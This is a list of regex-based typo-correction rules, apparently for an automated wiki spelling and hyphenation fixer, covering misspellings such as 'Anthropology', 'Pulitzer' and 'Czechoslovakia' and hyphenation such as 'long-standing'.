<Typo word="A n-something" find="\b([\d]+[\d,\.]*|e(?:ight(?:een|y?)|leven)|f(?:i(?:ft(?:een|y)|ve)|o(?:rty|ur(?:teen)?))|hundred|nine(?:t(?:een|y))?|one|s(?:even|ix)(?:t(?:een|y))?|t(?:en|h(?:irt(?:een|y)|ousand|ree)|w(?:e(?:lve|nty)|o)))\b(?<=\b(?:[aA](?:dditional|n?)|first|[hH](?:er|is)|[iI]ts|second|th(?:eir|ird)|Their)\s+[\da-z]+)(?: |\s+)(?!member\s+[a-z]+s\b)(acre|bed|cylinder|d(?:ay|ecker|oor)|foot|g(?:a(?:llon|me)|oal)|h(?:o(?:le|rsepower|ur)|uman)|inch|lit(?:er|re)|m(?:an|e(?:mber|t(?:er|re))|i(?:le|nute)|onth)|ounce|p(?:a(?:ge|ssenger)|erson|o(?:int|und))|r(?:o(?:om|und)|unner)|s(?:e(?:a(?:son|t(?:er)?)|cond)|ong|t(?:age|ore?y))|ton|vote|w(?:eek|heel(?:e[dr])?|oman)|y(?:ard|ear))(?=[,\s]|-(?:deep|high|long|old|tall|wide)\b)(?!\s+(?:ago|a[st]|by|deep|for|high|i[ns]|long|o(?:f|ld)|t(?:all|here)|w(?:as|i(?:de|th)))\b)(?<!\b\d{4}\s+(?:game|s(?:e(?:ason|cond)|ong|t(?:age|ory))|vote))(?<![dD]uring\s+h(?:er|is)\s+one\s+season|told\s+h(?:er|im)\s+one\s+day|send\s+for\s+h(?:er|im)\s+one\s+day)" replace="$1-$2"/><!--Note: If the n-something potentially has a year as the 'n', be sure to add the 'something' to the "(?<!\b\d{4}\s+" false-positive alternation list.-->
<Typo word="n-year" find="\b([\d]+[\d,\.]*|e(?:ight(?:een|y?)|leven)|f(?:i(?:ft(?:een|y)|ve)|o(?:rty|ur(?:teen)?))|hundred|nine(?:t(?:een|y))?|one|s(?:even|ix)(?:t(?:een|y))?|t(?:en|h(?:irt(?:een|y)|ousand|ree)|w(?:e(?:lve|nty)|o)))(?: |\s+)(month|year)\b(?<= [\da-z]+(?: [a-z]+|\s+[a-z]+))(?=\s+(?:a(?:bsence|ffair|greement|ss(?:ignment|ociation))|b(?:a(?:n|ttle)|reak)|c(?:a(?:mpaign|reer)|ease-?fire|losure|o(?:m(?:a|petition)|ntract|urse)|ruise|ycle)|d(?:e(?:a(?:dline|l)|lay|ployment)|rought|uration)|e(?:ffort|n(?:gagement|listment)|x(?:hibit(?:ion)?|i(?:le|stence)|pedition|tension))|feasibility|g(?:ap|estation|uest)|h(?:i(?:atus|story)|ospital)|i(?:llness|n(?:cumbent|jury|ternship|vestigation))|j(?:ail|ourney)|l(?:ay-?off|ea[sv]e|ife-?span|o(?:an|ckout))|m(?:aintenance|i(?:litary|ssion)|o(?:dernization|ratorium))|notice|overhaul|p(?:artnership|eriod|lan|osting|r(?:ison|o(?:cess|fessional|gram(?:me)?|ject)))|r(?:e(?:c(?:overy|urring)|fit|gular|ign|lationship|s(?:earch|idency|tricted))|otation|un)|s(?:abbatical|cho(?:larship|ol)|e(?:ason|ntence)|iege|ojourn|p(?:an|e(?:aking|ll))|t(?:a(?:rter|y)|int|r(?:ike|uggle)|udy)|u(?:bs(?:cription|idy)|pen(?:ded|sion)))|t(?:e(?:nure|rm)|our|r(?:aining|eatment|i(?:al|p)|uce))|v(?:eteran|isit|oyage)|w(?:a(?:it(?:ing)?|r)|orkshop))\b)" replace="$1-$2"/>
<Typo word="One-night stand" find="\bone\b(?<=\b[aA]\s+one)[−―–—\s]+night[−―–—\s]+stand\b(?<!one-night\s+stand)" replace="one-night stand"/><!--neg lookbehind removable-->
<Typo word="Long-standing" find="\blong\s+standing\b(?<=\b(?:[aA]|[tT]he)\s+long\s+standing)(?!\s+(?:in\b|o(?:f\b|vation\b)))" replace="long-standing"/>
<Typo word="Stand-alone" find="\bstand\s+alone\b(?<=\b(?:[aA]|[tT]he)\s+stand\s+alone)" replace="stand-alone"/>
<Typo word="Medium-sized" find="\b([mM])edium\s+sized\b" replace="$1edium-sized"/>
<Typo word="fewer" find="\bless\s+people\b" replace="fewer people"/>
<Typo word="a while" find="\b([aA]fter|[fF]or)\s+awhile\b" replace="$1 a while"/>
<Typo word="had run" find="\bhad\s+ran\b" replace="had run"/>
<Typo word="Ongoing" find="\b([aA]n|[tT]he)\s+on[−―–—\s]+going\b" replace="$1 ongoing"/>
<Typo word="associate degree" find="\b[aA]ssociate[´ˈ׳᾿‘’′Ꞌꞌ`']?s?[´ˈ׳᾿‘’′Ꞌꞌ`']?\s+[dD]egree(s)?\b(?<=[a-z]\s+[aA]s[a-z´ˈ׳᾿’′Ꞌꞌ`']+\s+[dD]egrees?)(?<!associate\s+degrees?)" replace="associate degree$1"/><!--neg lookbehind removable-->
<Typo word="Associate degree" find="\b([aA])ssociate[´ˈ׳᾿‘’′Ꞌꞌ`;']?s\s+[dD]egree(s)?\b" replace="$1ssociate degree$2"/>
<Typo word="Bachelor's/Master's degree" find="\b([bB]achelo|[mM]aste)rs?[´ˈ׳᾿‘’′Ꞌꞌ`']?\s+[dD]egree(s)?\b" replace="$1r's degree$2"/>
<Typo word="Feature-length" find="\b([fF])eature\s+length(?=\s+(?:a(?:daptation|nim(?:ated|e))|comed(?:ies|y)|d(?:ocumentar(?:ies|y)|rama)|episode|film|m(?:o(?:tion|vie)|usical)|p(?:ilot|roduction)|s(?:cr(?:eenplay|ipt)|ilent|pecial)|television|TV|version)s?\b)" replace="$1eature-length"/>
<Typo word="Full-length" find="\b([fF])ull\s+lengt?h(?=\s+(?:a(?:lbums?|nimat(?:eds?|ions?))|b(?:iograph(?:ies|y)|ooks?)|comed(?:ies|y)|CDs?|d(?:ebuts?|ocumentar(?:ies|y))|f(?:eatures?|ilms?)|LPs?|lives?|m(?:o(?:tions?|vies?)|usics?)|novels?|plays?|re(?:cord(?:ings?|s?)|leases?)|s(?:hows?|olos?|tudios?)|works?)\b)" replace="$1ull-length"/>
<Typo word="Acquisition" find="\b([aA])c?qu(?:is(?:it?o?|tio)|sitio)n(s)?\b" replace="$1cquisition$2"/>
<Typo word="Full-scale" find="\b([fF])ull\s+scale(?=\s+(?:a(?:dministrative|ssault|ttack)|battle|c(?:ampaign|ivil|o(?:nflict|unter-?attack))|evacuation|in(?:surrection|v(?:asion|estigation))|m(?:ilitary|o(?:ck-?up|del)|usical)|nuclear|o(?:ffensive|pera)|pro(?:duction|totype)|r(?:e(?:bellion|construction|hearsal|novation|plica(?:tion)?|vol(?:t|ution))|iot)|t(?:est|our)|version|war)s?\b)" replace="$1ull-scale"/>
<Typo word="Last week's episode" find="\b([lL])ast week[´ˈ׳᾿‘’′Ꞌꞌ`;]?s[´ˈ׳᾿‘’′Ꞌꞌ`']? episode\b" replace="$1ast week's episode"/>
<Typo word="This week's" find="\b([tT])his weeks[´ˈ׳᾿‘’′Ꞌꞌ`']?\s" replace="$1his week's "/>
<Typo word="Japan's" find="\bJapans[´ˈ׳᾿‘’′Ꞌꞌ`']?\s" replace="Japan's "/>
<Typo word="Second-half substitute" find="\b([sS])econd\s+half\s+(replacements?|substitutes?)\b" replace="$1econd-half $2"/>
<Typo word="De facto" find="\b([dD])e-?facto\b" replace="$1e facto"/>
<Typo word="Full-fledged" find="\b([fF])ull\s+fledged\b" replace="$1ull-fledged"/>
<Typo word="Panorama" find="\b([pP])anar[ao]m(a|ic)\b" replace="$1anoram$2"/>
<Typo word="T-shirt" find="\b(?:T(?:-+Shirt|\s+[sS]hirt)|t[−―–—\s]+[sS]hirt)(s)?\b" replace="T-shirt$1"/>
<Typo word="UTC−" find="\bUTC-(\d\d?(?::00)?)\b" replace="UTC−$1"/><!--e.g. UTC−05:00-->
<Typo word="Marxism–Leninism" find="\b[mM]arxis([mt])-[lL]eninis([mt])\b" replace="Marxis$1–Leninis$2"/>
<Typo word="Louisville" find="\bLousiville\b" replace="Louisville"/>
<Typo word="Different" find="\b([dD])ifferents\b(?!\s+of\b)" replace="$1ifferent"/>
<Typo word="Remarry" find="\b([rR])e-marr(i(?:ages?|e[ds])|y(?:ing)?)\b" replace="$1emarr$2"/>
<Typo word="Hand-to-hand" find="\b([hH])and\s+to\s+hand\b(?=\s+(?:b(?:attles?|rawl(?:er|ing|s?))|co(?:mbat(?:ants?|s?)|ntacts?)|f(?:ight(?:er|ing|s?)|oreplay)|kill(?:er|ing|s?)|s(?:cuffles?|truggles?)|training|w(?:arfares?|eapons?)))" replace="$1and-to-hand"/>
<Typo word="Above-mentioned" find="\babove(?<=\b[tT]he\s+above)\s+mentioned" replace="above-mentioned"/>
<Typo word="Easily" find="\b([eE])asill?y-(?=[a-z]+(?:able\b|ed\b))(?![a-z]+-)" replace="$1asily "/>
<Typo word="Smallpox" find="\b([sS])mall[−―–—\s]+po(?:cks|x)\b" replace="$1mallpox"/>
<Typo word="La Tène" find="\bLa Tene\b" replace="La Tène"/>
<Typo word="Dependent upon" find="\b([dD])ependant\s+upon\b" replace="$1ependent upon"/>
<Typo word="Right-hand man" find="\b([rR])ight\s+hand\s+(guy|man|person|woman)\b" replace="$1ight-hand $2"/>
<Typo word="Life-threatening" find="\b([lL])ife\s+threatening\b" replace="$1ife-threatening"/>
<Typo word="Reassign" find="\b([rR])e-assign(ed|ing|ments?|s?)\b" replace="$1eassign$2"/>
<Typo word="Buildup" find="\bbuild\s+up(?=\s+of\b)|\bbuild\s+up\b(?<=\b(?:[aA](?:ny)?|d(?:angerous|ramatic)|eventual|gradual|huge|large|m(?:a(?:jor|ssive)|ilitary)|naval|plaque|rapid|s(?:ignificant|low)|The|t(?:he|roop))\s+build\sup)" replace="buildup"/>
<Typo word="Internationally" find="\b([iI])nternat+ionall?y-(?=[a-z]+ed\b)" replace="$1nternationally "/>
<Typo word="Fuentes de Oñoro" find="\bFuentes de Onoro\b" replace="Fuentes de Oñoro"/>
<Typo word="His/Her Majesty's Stationery Office" find="\bH(\.\s?M\.?|\sM\.?|M\.?|er Majesty[´ˈ׳᾿‘’′Ꞌꞌ`']s|is Majesty[´ˈ׳᾿‘’′Ꞌꞌ`']s) Stationary Office\b" replace="H$1 Stationery Office"/>
<Typo word="Idiosyncrasy" find="\b([iI])diosyncrac(ies|y)\b" replace="$1diosyncras$2"/>
<Typo word="Activities" find="\b([aA])ci?tivites\b" replace="$1ctivities"/>
<Typo word="Activity" find="\b([aA])c(?:itivit|t(?:ivt|vit))(ies|y)\b" replace="$1ctivit$2"/>
<Typo word="(Infra/Re)structure" find="\b([iI]nfras|[rR]es|[sS])t(?:ru(?:c(?:trur?|ut?r)|tur)|uctur)(al(?:is[mt]s?|ly)?|e[ds]?|ing)\b" replace="$1tructur$2"/>
<Typo word="॥" find="(?:\s| )?।।" replace="॥"/>
<Typo word="॥/।" find="(?:\s| )([॥।])" replace="$1"/>
<Typo word="Highly" find="\b([hH])ighly-(?=[a-z]+ed\b)" replace="$1ighly "/>
<Typo word="Day-to-day" find="\b([dD])ay\s+to\s+day\b(?=\s+(?:a(?:ctivit|dministration|ffairs)|b(?:asis|usiness)|d(?:ecision|uties)|events?|function(?:ing|s?)|govern(?:ment)?\b|li(?:fe\b|ves\b)|ma(?:intenance|nagement)|needs|operations?|r(?:esponsibilit|outine|unning)|work(?:ings?)?\b))" replace="$1ay-to-day"/>
<Typo word="exact revenge" find="\b([eE])xtract(ed(?:\sh(?:er|is))?|ing(?:\sh(?:er|is))?|s?(?:\sh(?:er|is))?)\s+revenge\b" replace="$1xact$2 revenge"/>
<Typo word="Eyewear, Eyelash, etc." find="\b([eE])ye(?<!-[eE]ye)[−―–—\s](b(?:alls?|rows?)|glasses|l(?:ash(?:es)?|ids?)|sores?|w(?:ear|itness(?:es)?))\b" replace="$1ye$2"/><!--neg lookbehind removable-->
<Typo word="The number of times" find="\b([tT])he\s+amount\s+of\s+times\b" replace="$1he number of times"/>
<Typo word="Between him and" find="\b([bB])etween\s+he\s+and\b" replace="$1etween him and"/>
<Typo word="Between her and" find="\b([bB])etween\s+she\s+and\b" replace="$1etween her and"/>
<Typo word="have yet" find="\bstill\s+hav(e|ing)\s+yet\b" replace="hav$1 yet"/>
<Typo word="Contribute" find="\b([cC])on[rt]ibut(e[ds]?|i(?:ng|ons?)|ors?)\b" replace="$1ontribut$2"/>
<Typo word="Elderly" find="\b([eE])ldery\b" replace="$1lderly"/>
<Typo word="National Register of Historic Places" find="\b[nN]ational\s+[rR]egistry\s+[oO]f\s+[hH]istoric\s+[pP]laces\b" replace="National Register of Historic Places"/>
<Typo word="National Park Service" find="\b[nN]ational\s+[pP]arks\s+[sS]ervices?\b" replace="National Park Service"/>
<Typo word="Palm OS" find="\bPalmOS\b" replace="Palm OS"/>
<Typo word="Juridical" find="\b([jJ])uridicial(ly)?\b" replace="$1uridical$2"/>
<Typo word="Brazilian jiu-jitsu" find="\bBrazil(?:lian [jJ]i?u[−―–—\s]?[jJ]|ian\s(?:Ji?u[−―–—\s]?[jJ]|j(?:iu(?:[jJ]| [jJ]|-J)|u[−―–—\s]?[jJ])))it[sz]u\b" replace="Brazilian jiu-jitsu"/>
<Typo word="Duty-free" find="\b([dD])uty\s+free(?=[\.,]|\s+(?:a(?:ccess|rea)|goods|i(?:mport|tem)|lunch|port|s(?:ale|ection|hop|t(?:atus|ore))|tr(?:ade|eatment)|zone))" replace="$1uty-free"/>
<Typo word="Kuomintang" find="\bKuomingtang\b" replace="Kuomintang"/>
<Typo word="*–American War" find="\b(Mexican|Philippine|Spanish)(?:[−―–—\s][aA]merican [wW]ar|-(?:american [wW]ar|American war))\b" replace="$1–American War"/>
<Typo word="Adams–Onís Treaty" find="\bAdams-On(?:[íi]s [tT]|nís t)reaty\b" replace="Adams–Onís Treaty"/>
<Typo word="en masse" find="\ben[−―–—\s]?mass\b" replace="en masse"/>
<Typo word="(In/Un)Dis/Extinguish" find="\b([dD]is|[eE]x|[iuIU]ndis)tin?[gq]i?ui?sh?(ab[il][a-z]*|e[drs][a-z]*|ing[a-z]*|ment[a-z]*)?\b(?<!tinguish[a-z]*)" replace="$1tinguish$2"/><!--neg lookbehind removable-->
<Typo word="Lent" find="\b([lL])ended\b" replace="$1ent"/>
<Typo word="Labor-intensive" find="\b([lL])abo(u)?r\s+intensive\b" replace="$1abo$2r-intensive"/>
<Typo word="(A/S)uspicious" find="\b([asAS])uspicous(ly)?\b" replace="$1uspicious$2"/>
<Typo word="contract" find="\bsigned\s*a\s*contact\b" replace="signed a contract"/>
<Typo word="Transcribe" find="\b([tT])ra[cnrs]{3,5}i(?<!anscri)(b(?:e(?:[ds]?|rs?)|ing)|pt(?:ases?|ion(?:al(?:ly)?|ists?|s?)|s?))\b" replace="$1ranscri$2"/><!--neg lookbehind removable-->
<Typo word="Currency symbol before number" find="\b([\d,\.]+)([£€\$])(?!\d)" replace="$2$1"/><!--avoid prices in escudos and reis (escudos$centavos such as 20$00)-->
<Typo disabled="different" find="\b([mM]any|[sS]everal)\s*different\b" replace="$1"/>
<Typo disabled="remain" find="\bcontinue\s*to\s*remain\b" replace="remain"/>
<Typo word="Pipeline" find="\b([pP])ipline(s)?\b" replace="$1ipeline$2"/>
<Typo word="Debuted" find="\bfirst\s+d([eé])but(e[ds]?|ing)\b" replace="d$1but$2"/>
<Typo word="Consists" find="\bis\s+consisted\b(?= of\b)" replace="consists"/>
<Typo word="Behind" find="\b([bB])ehin(?:ed|g)\b" replace="$1ehind"/>
<Typo word="Perpetrate" find="\b([pP])erpertrat([a-z]+)\b" replace="$1erpetrat$2"/>
<Typo word="Phillips (Andover/Exeter)" find="\bPhilipp?s\s+(Andover|Exeter)\b" replace="Phillips $1"/>
<Typo word="Decades apostrophes" find="\b(1\d\d0|20\d0)[´ˈ׳᾿‘’′Ꞌꞌ`;']?s(?<=\b(?:[aA]n?|[oO]n|[tT]he)\s{1,9}(?:earl(?:ier|y)|later?|mid(?:dle)?)?[−―–—\s]{0,9}(?:1\d|20)\d0[´ˈ׳᾿‘’′Ꞌꞌ`;']?s)\s{1,9}and\s{1,9}((?:earl(?:ier|y)|later?|mid(?:dle)?)?[−―–—\s]{0,9}(?:1\d\d0|20\d0))[´ˈ׳᾿‘’′Ꞌꞌ`']s" replace="$1s and $2s"/>
<Typo word="Debtors' prison" find="\b([dD])ebtor[´ˈ׳᾿‘’′Ꞌꞌ`;']?s\s+prison\b" replace="$1ebtors' prison"/>
<Typo word="Amalgamate" find="\b([aA])m(?:[al]{1,3}g[aou]?ma?t(?<!malgamat)|alagat)(e[ds]?|i(?:ng|ons?))\b" replace="$1malgamat$2"/><!--neg lookbehind removable-->
<Typo word="Splinter group" find="\b([sS])plinter-group(s)?\b" replace="$1plinter group$2"/>
<Typo word="Enterprise" find="\b([eE])nte(?:pr|rp)ise(s)?\b" replace="$1nterprise$2"/>
<Typo word="Losing on penalties" find="\b([lL])oosing\s+on\s+penalties\b" replace="$1osing on penalties"/>
<Typo word="Anthropology" find="\b([aA])(?:nt(?:hr?|r)|thr?)o?p[lo]{1,3}(?<!nthropolo)g(i(?:c(?:al(?:ly)?)?|sts?)|y)\b" replace="$1nthropolog$2"/><!--neg lookbehind removable-->
<Typo word="of xxx of xxx" find="\bof ([a-z]+) of (?!(?:c(?:lasses|o(?:nsciousness|pies))|f(?:riends|unds)|representations|s(?:ets|ystems)))\1\b" replace="of $1"/>
<Typo word="Manuscript" find="\b([mM])anu?[crs]{2,4}i[prt]{1,3}(?<!nuscrip?t)(ed|s?)\b" replace="$1anuscript$2"/><!--neg lookbehind removable-->
<Typo word="Lawsuit" find="\b([lL])aw[−―–—\s]suit(s)?\b" replace="$1awsuit$2"/>
<Typo word="Facsimile" find="\b([fF])a[cs]+i?mili?e(?<!acsimile)(s)?\b" replace="$1acsimile$2"/><!--neg lookbehind removable-->
<Typo word="Prodigy" find="\b([pP])rogid(al|ies|y)\b" replace="$1rodig$2"/>
<Typo word="Nemesis" find="\barch[−―–—\s]?nemesis\b" replace="nemesis"/>
<Typo word="Emerge from" find="\bemerge([ds])?\s+out\s+of\b" replace="emerge$1 from"/>
<Typo word="Wreak havoc" find="\b(?:reek|wrea?ck)(ed|ing|s?)\s+havoc\b" replace="wreak$1 havoc"/>
<Typo word="Moroccan" find="\b[mM]oroc+oa?n(s)?\b" replace="Moroccan$1"/>
<Typo word="Republic" find="\b([rR])e(?:bu[bp]|pup)lic(ans?|s?)\b" replace="$1epublic$2"/>
<Typo word="Also (twice)" find="\balso\s+(are|could|is|w(?:as|ere|ould))\s+also\b" replace="$1 also"/>
<Typo word="Also (2 times)" find="\balso\s+ha([ds]|ve)\s+also\b" replace="also ha$1"/>
<Typo disabled="Newly" find="\b([nN])ewly-(?=[a-z]+ed\b)(?![a-z]+-|wed)" replace="$1ewly "/><!--disabled: too general; context-specific-->
<Typo word="Recently" find="\b([rR])ecently-(?=[a-z]+ed\b)(?![a-z]+-)" replace="$1ecently "/>
<Typo word="Horse-drawn" find="\b([hH])orse\s+drawn(?= (?:b(?:oat|use?)|c(?:ar(?:riage|t)|hariot|oache?)|fire|hearse|omnibuse?|railway|s(?:leigh|treetcar)|tra(?:m(?:way)?|nsport)|vehicle|wagon)s?\b)" replace="$1orse-drawn"/>
<Typo word="Mason–Dixon line" find="\b[mM]ason[−―–—\s][dD]ixon\s+[lL]ine\b" replace="Mason–Dixon line"/>
<Typo word="Double pounds" find="(£[\d\.–]+(?:\s| )(?:[mb]illion|t(?:housand|rillion))?) pounds\b(?: [sS]terling\b)?" replace="$1"/>
<Typo word="Nearby" find="\bnear[−―–—\s]by\b(?<=\b(?:[aA]|[iI]n|[tT](?:he|o))\snear[−―–—\s]by)" replace="nearby"/>
<Typo word="Double dollars" find="(\$[\d\.–]+(?: | )(?:[mb]illion|t(?:housand|rillion))?) dollars?\b" replace="$1"/>
<Typo word="Dolce & Gabbana" find="\bDolce\s+(?:and\s+Gabb?an?|e\s+Gabb?an?|& Gab(?:an?|ban))na\b" replace="Dolce & Gabbana"/>
<Typo word="Thereafter" find="\b([tT])h(?:er(?:aft|e(?:at?f|ft))|reaft)er\b" replace="$1hereafter"/>
<Typo disabled="Mid-" find="\b([mM])id\s+(\d{3,4}s?)\b" replace="$1id-$2"/>
<Typo word="-leigh" find="\b(L|Ray?l|[sS]l)iegh\b" replace="$1eigh"/>
<Typo word="Executive" find="\b([eE])x(?:c(?:ecuti|uti)|ec(?:t(?:i|ui?)|u[it]))ve(ly|s?)\b" replace="$1xecutive$2"/>
<Typo word="Granddaughter" find="\b([gG])ran[-d]+?au[ght]{2,4}er(?<!nddaughter)(s)?\b" replace="$1randdaughter$2"/><!--neg lookbehind removable-->
<Typo word="Monstrous" find="\b([mM])onsteru?ous(ly)?\b" replace="$1onstrous$2"/>
<Typo word="Psychology" find="\b([pP])(?:[chy][chsy]{2,4}[lo]{2,4}|s(?:[chsy]{2,4}[lo]{2,4}|icholo))g(?<)(i(?:cal(?:ly)?|es|sts?)|y)\b" replace="$1sycholog$2"/><!--neg lookbehind removable-->
<Typo word="called up" find="\bcalled-up(?=\s+(?:a(?:gain|[st])|by|during|f(?:or|rom)|in(?:to)?|on|since|to|with(?:in)?)\b)" replace="called up"/>
<Typo word="-century" find="\b(an?\s+\d\d?(?:[nr]d|st|th))\s+century\b" replace="$1-century"/>
<Typo word="Labyrinth" find="\b([lL])ab[inry]+th(?<!byrinth)([a-z]*)\b" replace="$1abyrinth$2"/><!--neg lookbehind removable-->
<Typo word="Psychedelic" find="\b([pP])sychadelic(s)?\b" replace="$1sychedelic$2"/>
<Typo word="Pharmacy" find="\b([pP])h?a(?:m[mr]*|r(?:am|[mr]*))[aei]?c(?<![pP]harmac)(eutic[a-z]+|i(?:es|sts?)|o(?:log(?:i[cs][a-z]+|y)|p[aeio]+l?|thera[a-z]+)|y)\b(?<!Parcopa\b)" replace="$1harmac$2"/><!--avoid Parcopa-->
<Typo word="(Pro/Re/Intro)duce" find="\b([iI]ntro|[pP]ro|[rR]e)duct(e[ds]?|ing)\b" replace="$1duc$2"/>
<Typo word="Schuylkill" find="\bSchuykl?[iu]ll\b" replace="Schuylkill"/>
<Typo word="Sovereign" find="\b([sS])ove?r[ei]*[gn]+i?(is[mt]s?|s?|t(?:is[mt]s?|y))\b(?<!vereign(?:is[mt]s?|s?|t(?:is[mt]s?|y)))" replace="$1overeign$2"/><!--neg lookbehind removable-->
<Typo word="(Re/E)volution" find="\b([eE]|[rR]e)v[ilnotu]{3,9}n+(?<!Ev(?:ilution|oluon)|Rev(?:illon|unions)|volution)(ar(?:ies|y)|ize[ds]?|s?)\b" replace="$1volution$2"/><!--avoid self & proper nouns--><!--neg lookbehind removable-->
<Typo word="Underground" find="\b([uU])nd(?:e(?:groun|rg(?:oun|ro[nu]))|rgroun)d\b" replace="$1nderground"/>
<Typo word="Elementary" find="\b([eE])lem(?:e(?:n(?:ar|t(?:er|ra?))|tn?ar)|ntar)y\b" replace="$1lementary"/>
<Typo word="Agriculture" find="\b([aA])(?:g(?:g+i?r[ai]?|i(?:r[ai]?)?|r[ai]?)|r(?:gr?i|i))c+(?:u(?:l(?:l[lt]*ur|t(?:[ai]r|[lt]+ur|r(?:ur)?|ur?)|utr)|t[lt]*ur)|lu?tur)(?<![aA]gricultur)(al(?:is(?:m|ts?)|ly)?|es?|is(?:m|ts?))\b" replace="$1gricultur$2"/><!--neg lookbehind removable-->
<Typo word="Pulitzer" find="\b[pP]ul(?:i(?:tz|zt?)|litz|tiz)(?<!Pulitz)er\b" replace="Pulitzer"/><!--neg lookbehind removable-->
<Typo word="Major" find="\b([mM])ajour(ity)?\b" replace="$1ajor$2"/>
<Typo word="Subsequent" find="\b([sS])ub?p?[esu]*q[entu]{2,5}(?:(l)e?(y))?(?<!Susques?|Suquet|ubsequentl?y?)\b" replace="$1ubsequent$2$3"/><!--avoid self, Suquet & Susque/s--><!--neg lookbehind removable-->
<Typo word="Finance" find="\b([fF])ia?n(?:a(?:n[ai]?n?)?|ian[ai]?n?)?c(e[ds]?|i(?:al(?:ly|s?)|ng))(?<!i(?:ance|nanc(?:e[ds]?|i(?:al(?:ly|s?)|ng))))\b" replace="$1inanc$2"/><!--neg lookbehind removable-->
<Typo word="Financial" find="\b([fF])inan(?:ca(?:il|l)|ic?al)(ly)?\b" replace="$1inancial$2"/>
<Typo word="Previously" find="\b([pP])rei?v(?:iou|s[esiou]*)e?l+e?y(?<!reviously)\b" replace="$1reviously"/><!--neg lookbehind removable-->
<Typo word="Dominican" find="\b[dD]omini?ci?an(s)?\b(?<!Dominicans?)" replace="Dominican$1"/><!--relig. & geogr.--><!--neg lookbehind removable-->
<Typo word="Simultaneous" find="\b([sS])im[aiu](?:l(?:at|t?)|t)(?<!im[ai]t)(?:a(?:n(?:e(?:[aeinotu]{0,6}s|ou)|[ainotu][aeinotu]{0,7}s)|[aeiotu][aeinotu]{1,8}s)|[einotu][aeinotu]{2,9}s)(?:e?(l)e?(y))?(?<!imul(?:a(?:nts|t(?:es|ions))|taneities)|m(?:ilanus|ultaneous(?:ly)?))\b" replace="$1imultaneous$2$3"/><!--neg lookbehind removable-->
<Typo word="Overwhelm" find="\b([oO])ver[−―–—\s]?wh?el?e?m(?<!verwhelm)(ed|ing(?:ly)?|s?)\b" replace="$1verwhelm$2"/><!--neg lookbehind removable-->
<Typo word="Czechoslovakia" find="\b[cC]zec[a-z]+ak(?<!Czechoslovak)(ian?s?|s?)\b(?![^\s\.]*\.\w)" replace="Czechoslovak$1"/><!--neg lookbehind removable; avoid domains-->
<Typo word="Presidency" find="\b([pP]r|[rR])esident?ship\b" replace="$1esidency"/>
<Typo word="I.B. Tauris" find="\bI\.?\s*B\.?\s+Taurus\b" replace="I.B. Tauris"/>
<Typo word="Dolphin" find="\b([dD])ophin(s)?\b" replace="$1olphin$2"/>
<Typo word="Croatian" find="\b[cC]roation(s)?\b" replace="Croatian$1"/>
<Typo word="Missionary" find="\b([mM])issionair(ies|y)\b" replace="$1issionar$2"/>
<Typo word="Barack Obama" find="\bBar(?:a[ck]|rack)\s*Obama\b" replace="Barack Obama"/>
<Typo word="-ball" find="\b([bB]asket|[cC]annon|[fF]oot|[hH]and|[vV]olley)[−―–—\s]+ball(s)?\b" replace="$1ball$2"/>
<Typo word="Alongside" find="\b([aA])lon(?:g(?:is?|-si|\ssi)|si)de(?: with)?\b" replace="$1longside"/>
<Typo word="Prospective" find="\b([pP])erspective\s+(applicants?|buyers?|clients?|students?)\b" replace="$1rospective $2"/>
<Typo word="Outstanding" find="\b([oO])u(?:st|tst?)a(?:d|nd?)(?<!utstand)ing(ly)?\b" replace="$1utstanding$2"/><!--neg lookbehind removable-->
<Typo word="Mass-produce" find="\b([mM])ass produc(e[ds]?|ing)\b" replace="$1ass-produc$2"/>
<Typo word="Gunpowder" find="\b([gG])un[−―–—\s]powder\b" replace="$1unpowder"/>
<Typo word="Therapeutic" find="\b([nN]ont|[tT]|[uU]nt)heraputic(al(?:ly)?)?\b" replace="$1herapeutic$2"/>
<Typo word="Buccaneer" find="\b([bB])uc(?:an+|c+ann)e+r(s)?\b" replace="$1uccaneer$2"/>
<Typo word="Parameter" find="\b([pP])arama?ter([a-z]*)\b" replace="$1arameter$2"/>
<Typo word="Athletic" find="\b([aA])theltic(s)?" replace="$1thletic$2"/>
<Typo word="Bombardier" find="\b([bB])ombadier(s)?\b" replace="$1ombardier$2"/>
<Typo word="McCune–Reischauer" find="\bMc[cC]une-Reischauer\b" replace="McCune–Reischauer"/>
<Typo word="Wade–Giles" find="\bWade-Giles\b" replace="Wade–Giles"/>
<Typo word="Mountainous" find="\b([mM])ounta(?:ine|ne?)ous\b" replace="$1ountainous"/>
<Typo word="Return/Revert" find="\b([rR])e(turn(?:ed|ing|s?|\s+it)|vert(?:ed|ing|s?|\s+it))\s+back\b" replace="$1e$2"/>
<Typo word="Billiard" find="\b([bB])illard(s)?\b(?<!\b(?:[A-Z][a-z]+ Billard|de Billard))" replace="$1illiard$2"/><!--avoid names; consider restricting rule to lowercase "billard"--><!--neg lookbehind removable-->
<Typo word="Presbyterian" find="\b[pP]resbytarian(ism|s?)\b" replace="Presbyterian$1"/>
<Typo word="Tariff" find="\b([tT])arrif+(s)?\b" replace="$1ariff$2"/>
<Typo word="(M/P)atriarch" find="\b([mpMP])atriach(a(?:l(?:ism)?|te)|i(?:c|es|s[mt]s?)|[sy])?\b" replace="$1atriarch$2"/>
<Typo word="Digital" find="\b([dD])igi(?:ti)?al(ly)?\b" replace="$1igital$2"/>
<Typo word="En route" find="\b([eE])n-?route(?=(?:[\.,]|\s+(?:back|f(?:or|rom)|home|in|t(?:hrough|o)|via)\b))" replace="$1n route"/><!--avoid [[EnRoute (credit card)]] etc; avoid "Sailing directions (enroute)"; avoid [[En-route chart]]/beacon/frequency/controller/etc.-->
<Typo word="Up-and-coming" find="\b([uU])p and(?<=\b(?:[aA]n|[hH](?:er|is)|[iI]ts|[tT]he(?:ir)?) up and) coming\b" replace="$1p-and-coming"/>
<Typo word="Ex-" find="\b([eE])x\s?(boyfriends?|girlfriends?|husbands?|partners?|wi(?:fe|ves))\b" replace="$1x-$2"/>
<Typo word="Winston-Salem" find="\bWinston\s+Sall?em\b" replace="Winston-Salem"/>
<Typo word="KeyArena" find="\bKey\s[aA]rena\b" replace="KeyArena"/>
<Typo word="Sculpt(ure/or)" find="\b([sS])cl?u[lpt]{2,4}(?<!cu(?:l(?:l|pt)|ttl?))(ed|ing|ors?|s?|ur(?:al(?:ly)?|e[ds]?))(?<![sS]cultur[ae])\b" replace="$1culpt$2"/><!--avoid Scuttls, scuttle, scull, sculture/a (Spanish)-->
